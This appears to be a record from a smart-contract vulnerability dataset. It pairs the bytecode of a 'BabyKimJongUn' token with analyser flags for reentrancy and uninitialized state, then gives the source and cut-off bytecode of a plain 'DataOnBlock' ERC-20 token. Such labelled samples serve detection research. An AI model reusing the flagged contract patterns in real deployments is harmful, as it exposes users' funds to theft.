0x6080604052600436106101185760003560e01c806370a08231116100a0578063a985ceef11610064578063a985ceef14610388578063c3c8cd80146103b3578063c9567bf9146103ca578063d8306786146103e1578063dd62ed3e1461040c5761011f565b806370a08231146102a1578063715018a6146102de5780638da5cb5b146102f557806395d89b4114610320578063a9059cbb1461034b5761011f565b80632ab30838116100e75780632ab30838146101f4578063313ce5671461020b5780635932ead1146102365780636ddd17131461025f5780636fc3eaec1461028a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610449565b60405161014691906124ff565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612118565b610486565b60405161018391906124e4565b60405180910390f35b34801561019857600080fd5b506101a16104a4565b6040516101ae9190612621565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906120c9565b6104b5565b6040516101eb91906124e4565b60405180910390f35b34801561020057600080fd5b5061020961058e565b005b34801561021757600080fd5b50610220610635565b60405161022d9190612696565b60405180910390f35b34801561024257600080fd5b5061025d60048036038101906102589190612154565b61063e565b005b34801561026b57600080fd5b506102746106f0565b60405161028191906124e4565b60405180910390f35b34801561029657600080fd5b5061029f610703565b005b3480156102ad57600080fd5b506102c860048036038101906102c3919061203b565b610775565b6040516102d59190612621565b60405180910390f35b3480156102ea57600080fd5b506102f36107c6565b005b34801561030157600080fd5b5061030a610919565b6040516103179190612416565b60405180910390f35b34801561032c57600080fd5b50610335610942565b60405161034291906124ff565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d9190612118565b61097f565b60405161037f91906124e4565b60405180910390f35b34801561039457600080fd5b5061039d61099d565b6040516103aa91906124e4565b60405180910390f35b3480156103bf57600080fd5b506103c86109b0565b005b3480156103d657600080fd5b506103df610a2a565b005b3480156103ed57600080fd5b506103f6610f86565b60405161040391906124e4565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e919061208d565b610f99565b6040516104409190612621565b60405180910390f35b60606040518060400160405280600d81526020017f426162794b696d4a6f6e67556e00000000000000000000000000000000000000815250905090565b600061049a610493611020565b8484611028565b6001905092915050565b600068056bc75e2d63100000905090565b60006104c28484846111f3565b610583846104ce611020565b61057e85604051806060016040528060288152602001612b7060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610534611020565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf9092919063ffffffff16565b611028565b600190509392505050565b610596611020565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061a906125a1565b60405180910390fd5b68056bc75e2d63100000600f81905550565b60006009905090565b610646611020565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ca906125a1565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600e60169054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610744611020565b73ffffffffffffffffffffffffffffffffffffffff161461076457600080fd5b600047905061077281611533565b50565b60006107bf600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159f565b9050919050565b6107ce611020565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610852906125a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f424b494d00000000000000000000000000000000000000000000000000000000815250905090565b600061099361098c611020565b84846111f3565b6001905092915050565b600e60179054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109f1611020565b73ffffffffffffffffffffffffffffffffffffffff1614610a1157600080fd5b6000610a1c30610775565b9050610a278161160d565b50565b610a32611020565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab6906125a1565b60405180910390fd5b600e60149054906101000a900460ff1615610b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0690612601565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b9f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611028565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610be557600080fd5b505afa158015610bf9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1d9190612064565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7f57600080fd5b505afa158015610c93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb79190612064565b6040518363ffffffff1660e01b8152600401610cd4929190612431565b602060405180830381600087803b158015610cee57600080fd5b505af1158015610d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d269190612064565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610daf30610775565b600080610dba610919565b426040518863ffffffff1660e01b8152600401610ddc96959493929190612483565b6060604051808303818588803b158015610df557600080fd5b505af1158015610e09573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e2e91906121a6565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f3092919061245a565b602060405180830381600087803b158015610f4a57600080fd5b505af1158015610f5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f82919061217d565b5050565b600e60159054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611098576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108f906125e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ff90612541565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111e69190612621565b60405180910390a3505050565b60008111611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122d906125c1565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561128d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146114bf576001600a819055506009600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561137b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113e95750600e60179054906101000a900460ff165b156113fe57600f548111156113fd57600080fd5b5b600061140930610775565b9050600e60159054906101000a900460ff161580156114765750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561148e5750600e60169054906101000a900460ff165b156114bd5761149c8161160d565b6000479050670429d069189e00008111156114bb576114ba47611533565b5b505b505b6114ca838383611907565b505050565b6000838311158290611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e91906124ff565b60405180910390fd5b506000838561152691906127e7565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561159b573d6000803e3d6000fd5b5050565b60006008548211156115e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dd90612521565b60405180910390fd5b60006115f0611917565b9050611605818461194290919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561166b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116995781602001602082028036833780820191505090505b50905030816000815181106116d7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561177957600080fd5b505afa15801561178d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b19190612064565b816001815181106117eb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061185230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611028565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118b695949392919061263c565b600060405180830381600087803b1580156118d057600080fd5b505af11580156118e4573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61191283838361198c565b505050565b6000806000611924611b57565b9150915061193b818361194290919063ffffffff16565b9250505090565b600061198483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bb9565b905092915050565b60008060008060008061199e87611c1c565b9550955095509550955095506119fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cce90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611add81611d2c565b611ae78483611de9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b449190612621565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d631000009050611b8d68056bc75e2d6310000060085461194290919063ffffffff16565b821015611bac5760085468056bc75e2d63100000935093505050611bb5565b81819350935050505b9091565b60008083118290611c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf791906124ff565b60405180910390fd5b5060008385611c0f919061275c565b9050809150509392505050565b6000806000806000806000806000611c398a600a54600b54611e23565b9250925092506000611c49611917565b90506000806000611c5c8e878787611eb9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611cc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114cf565b905092915050565b6000808284611cdd9190612706565b905083811015611d22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1990612561565b60405180910390fd5b8091505092915050565b6000611d36611917565b90506000611d4d8284611f4290919063ffffffff16565b9050611da181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cce90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611dfe82600854611c8490919063ffffffff16565b600881905550611e1981600954611cce90919063ffffffff16565b6009819055505050565b600080600080611e4f6064611e41888a611f4290919063ffffffff16565b61194290919063ffffffff16565b90506000611e796064611e6b888b611f4290919063ffffffff16565b61194290919063ffffffff16565b90506000611ea282611e94858c611c8490919063ffffffff16565b611c8490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611ed28589611f4290919063ffffffff16565b90506000611ee98689611f4290919063ffffffff16565b90506000611f008789611f4290919063ffffffff16565b90506000611f2982611f1b8587611c8490919063ffffffff16565b611c8490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f555760009050611fb7565b60008284611f63919061278d565b9050828482611f72919061275c565b14611fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa990612581565b60405180910390fd5b809150505b92915050565b600081359050611fcc81612b2a565b92915050565b600081519050611fe181612b2a565b92915050565b600081359050611ff681612b41565b92915050565b60008151905061200b81612b41565b92915050565b60008135905061202081612b58565b92915050565b60008151905061203581612b58565b92915050565b60006020828403121561204d57600080fd5b600061205b84828501611fbd565b91505092915050565b60006020828403121561207657600080fd5b600061208484828501611fd2565b91505092915050565b600080604083850312156120a057600080fd5b60006120ae85828601611fbd565b92505060206120bf85828601611fbd565b9150509250929050565b6000806000606084860312156120de57600080fd5b60006120ec86828701611fbd565b93505060206120fd86828701611fbd565b925050604061210e86828701612011565b9150509250925092565b6000806040838503121561212b57600080fd5b600061213985828601611fbd565b925050602061214a85828601612011565b9150509250929050565b60006020828403121561216657600080fd5b600061217484828501611fe7565b91505092915050565b60006020828403121561218f57600080fd5b600061219d84828501611ffc565b91505092915050565b6000806000606084860312156121bb57600080fd5b60006121c986828701612026565b93505060206121da86828701612026565b92505060406121eb86828701612026565b9150509250925092565b6000612201838361220d565b60208301905092915050565b6122168161281b565b82525050565b6122258161281b565b82525050565b6000612236826126c1565b61224081856126e4565b935061224b836126b1565b8060005b8381101561227c57815161226388826121f5565b975061226e836126d7565b92505060018101905061224f565b5085935050505092915050565b6122928161282d565b82525050565b6122a181612870565b82525050565b60006122b2826126cc565b6122bc81856126f5565b93506122cc818560208601612882565b6122d581612913565b840191505092915050565b60006122ed602a836126f5565b91506122f882612924565b604082019050919050565b60006123106022836126f5565b915061231b82612973565b604082019050919050565b6000612333601b836126f5565b915061233e826129c2565b602082019050919050565b60006123566021836126f5565b9150612361826129eb565b604082019050919050565b60006123796020836126f5565b915061238482612a3a565b602082019050919050565b600061239c6029836126f5565b91506123a782612a63565b604082019050919050565b60006123bf6024836126f5565b91506123ca82612ab2565b604082019050919050565b60006123e26017836126f5565b91506123ed82612b01565b602082019050919050565b61240181612859565b82525050565b61241081612863565b82525050565b600060208201905061242b600083018461221c565b92915050565b6000604082019050612446600083018561221c565b612453602083018461221c565b9392505050565b600060408201905061246f600083018561221c565b61247c60208301846123f8565b9392505050565b600060c082019050612498600083018961221c565b6124a560208301886123f8565b6124b26040830187612298565b6124bf6060830186612298565b6124cc608083018561221c565b6124d960a08301846123f8565b979650505050505050565b60006020820190506124f96000830184612289565b92915050565b6000602082019050818103600083015261251981846122a7565b905092915050565b6000602082019050818103600083015261253a816122e0565b9050919050565b6000602082019050818103600083015261255a81612303565b9050919050565b6000602082019050818103600083015261257a81612326565b9050919050565b6000602082019050818103600083015261259a81612349565b9050919050565b600060208201905081810360008301526125ba8161236c565b9050919050565b600060208201905081810360008301526125da8161238f565b9050919050565b600060208201905081810360008301526125fa816123b2565b9050919050565b6000602082019050818103600083015261261a816123d5565b9050919050565b600060208201905061263660008301846123f8565b92915050565b600060a08201905061265160008301886123f8565b61265e6020830187612298565b8181036040830152612670818661222b565b905061267f606083018561221c565b61268c60808301846123f8565b9695505050505050565b60006020820190506126ab6000830184612407565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061271182612859565b915061271c83612859565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612751576127506128b5565b5b828201905092915050565b600061276782612859565b915061277283612859565b925082612782576127816128e4565b5b828204905092915050565b600061279882612859565b91506127a383612859565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127dc576127db6128b5565b5b828202905092915050565b60006127f282612859565b91506127fd83612859565b9250828210156128105761280f6128b5565b5b828203905092915050565b600061282682612839565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061287b82612859565b9050919050565b60005b838110156128a0578082015181840152602081019050612885565b838111156128af576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b338161281b565b8114612b3e57600080fd5b50565b612b4a8161282d565b8114612b5557600080fd5b50565b612b6181612859565b8114612b6c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf2652944a9ae78c63e5ebf56379e2ca3c3113e6859f70f2ee17f031fdf7d08a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
507
0x526ccc90191a9472299323816bd2c784c0a1bcde
pragma solidity ^0.4.24; // File: contracts/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/MY_WORKING_TOKEN.sol contract DataOnBlockTokenContract is StandardToken { //using SafeERC20 for ERC20; string public name = "DataOnBlock"; string public symbol = "DBLK"; // IMPORTANT: add the same number of zeros as decimals to the initial supply. // eg. dec=2 add 00, dec=4 add 0000, etc. uint8 public decimals = 18; uint public INITIAL_SUPPLY = 200000000000000000000000000; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105eb565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106dd565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e7565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610aa2565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aa8565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abb565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4d565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d95565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e33565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611053565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061124f565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561073657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107c157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107fd57600080fd5b61084e826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e1826000808673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffff